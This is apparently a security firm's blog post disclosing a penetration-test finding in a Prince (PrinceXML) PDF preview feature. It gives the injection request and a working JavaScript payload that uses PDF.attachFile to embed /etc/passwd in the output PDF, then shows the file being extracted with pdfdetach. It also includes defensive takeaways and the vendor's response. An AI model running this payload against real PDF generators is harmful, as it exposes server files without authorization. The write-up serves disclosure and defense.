Local File Inclusion via XSS in Prince PDF Generator
TL;DR
A PDF preview feature accepted HTML input and utilized Prince (PrinceXML). Prince’s JavaScript API includes PDF.attachFile(...)
, and calling it with a local path or an internal URL caused the generated PDF to include server’s local files as attachments. These attachments can be pulled out locally (for example with pdfdetach
), turning a simple preview into a working LFI vulnerability.
Background
In one of our recent engagements, an application offered a “preview template → PDF” feature that took HTML in a JSON body
and produced a PDF.
curl -X POST 'https://pentest2025.example.com/api/template-pdf/previewTemplate' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=<your_session_value>' \
--data '{"body":"<h1>test</h1>","printTemplateId":"142","signature":"both"}' \
-o generated.pdf
The body
field is rendered by Prince. The “test” text was presented in heading format. That confirmed arbitrary HTML injection.
The PDF generator software was determined by running the exiftool
program.
% exiftool generated.pdf[...]MIME Type : application/pdfPDF Version : 1.5Linearized : NoProducer : Prince 15.4.1 (www.princexml.com)
Prince (formerly known as PrinceXML) is a software engine that converts HTML, XML, and CSS into high-quality PDF documents. It supports advanced layout features like headers, footers, page numbering, and multi-column text, making it popular for generating print-ready reports, invoices, and technical documentation. Designed for server-side use, PrinceXML integrates easily with languages such as PHP, .NET, Java, and Node.js.
What failed (initial attempts)
However, this ride was bit different. Upon writing several <iframe>
, <link>
, and other PDF-based XSS exploitation payloads, all of them failed, which defines inherited security from Prince software. Furthermore, initially it felt that JavaScript support is disabled as onload
, onerror
event handlers were not being executed. However, <script src=[...] >
worked and defined that JavaScript support was present and retrieved malicious attacker controlled JS file.
Moving forward, attempts to use XHR and fetch
were used to exfiltrate the file from Prince system. However, none of this functions did exist in the JavaScript runtime as Prince has modified the JavaScript environment accustomed for Prince runtime and usage while removing several original JavaScript functions.
Discovery of PDF Object
Almost no resources were found while searching for Prince PDF exploit. This is time for hunters to look into documentation and hunt for gold.
https://www.princexml.com/doc/js-support/
Upon reading this document, it was found a whole new set of libraries related to Prince are available in this restricted JavaScript runtime, specifically focus on “window.Prince” and “window.PDF”, this elements allow developers to debug, transformations, and aid in development. Having quick glance from top, we found attachFile(...)
method within window.PDF
feature interesting.
Exploitation
We wrote a JavaScript file to execute this function and tried embedding /etc/passwd
.
window.addEventListener("load", function () {
PDF.attachFile("file:///etc/passwd", "Server Passwd");
document.getElementById("log").innerHTML += "Attached PASSWD<br>";
});
Upon generating PDF with this payload, the resulted PDF did not contained the file like we usually see in PDF-based XSS files, however, the file was attached to PDF as an attachment, which was observed here in Acrobat.
Using cli tools like pdfdetach
it was possible see the attached file, subsequently, pdfdetach -saveall <file.pdf>
was used to extract all attachments thus retrieving the passwd from the target server.
% pdfdetach -list passwd.pdf
1 embedded files
1: passwd
% pdfdetach -saveall passwd.pdf
% cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
docker:x:1000:33:docker:/tmp:/bin/bash
Takeaways for Hunters
- Read the documentation: it often contains juicy APIs, operations, functions, and runtime details which is more valuable than anything available online.
- Think creatively: use the available options in unexpected ways instead of relying only on standard payloads.
- Map the environment: identify exposed objects, functions, and restrictions to understand how the runtime differs from normal.
- Chain legitimate features: repurpose intended functionality (like file attachments) into unintended attack vectors.
Takeaways for Developer Teams
- Enforce least privilege: run PDF generators and similar tools in isolated environments with minimal filesystem and network access.
- Harden configuration: review command-line flags, runtime options, and vendor recommendations before deployment.
- Disable unnecessary features: turn off APIs like file attachments if not required for business use.
- Patch and update regularly: keep to the latest stable releases to reduce exposure to known issues.
Response from Prince team:
If document JavaScript is enabled then it could also add
<img>
elements to the document that access local files or @font-face rules that access local fonts, although it is not so simple to load arbitrary text or binary files. Prince does have a —no-local-files option which will prevent file disclosure, however scripts could also attempt denial of service attacks or other malicious behaviour, so enabling JavaScript on an untrusted document may require additional layers of protection and sandboxing.
- Wednesday, August 27, 2025 at 21:38 EST
At Sudarshana, we view continuous security testing as a necessity rather than an option. Our approach combines AI-powered automation with the expertise of seasoned security professionals, filling the gaps where automation alone falls short. This ensures organizations receive thorough, real-world coverage instead of surface-level checks.
Through our services in Penetration Testing, Attack Surface Management, Red Teaming, and Defensive Security, we help organizations identify risks, prioritize critical issues, and strengthen resilience against evolving threats.
If you are interested in learning more about our offerings, please get in touch with us today.
#PrinceXML #PDFGenerator #HTMLInjection #LocalFileInclusion #LFI #PDFSecurity #WebSecurity #BugBounty #AppSec #OffensiveSecurity #ExploitDevelopment #VulnerabilityResearch #Infosec #PenetrationTesting #SecurityTesting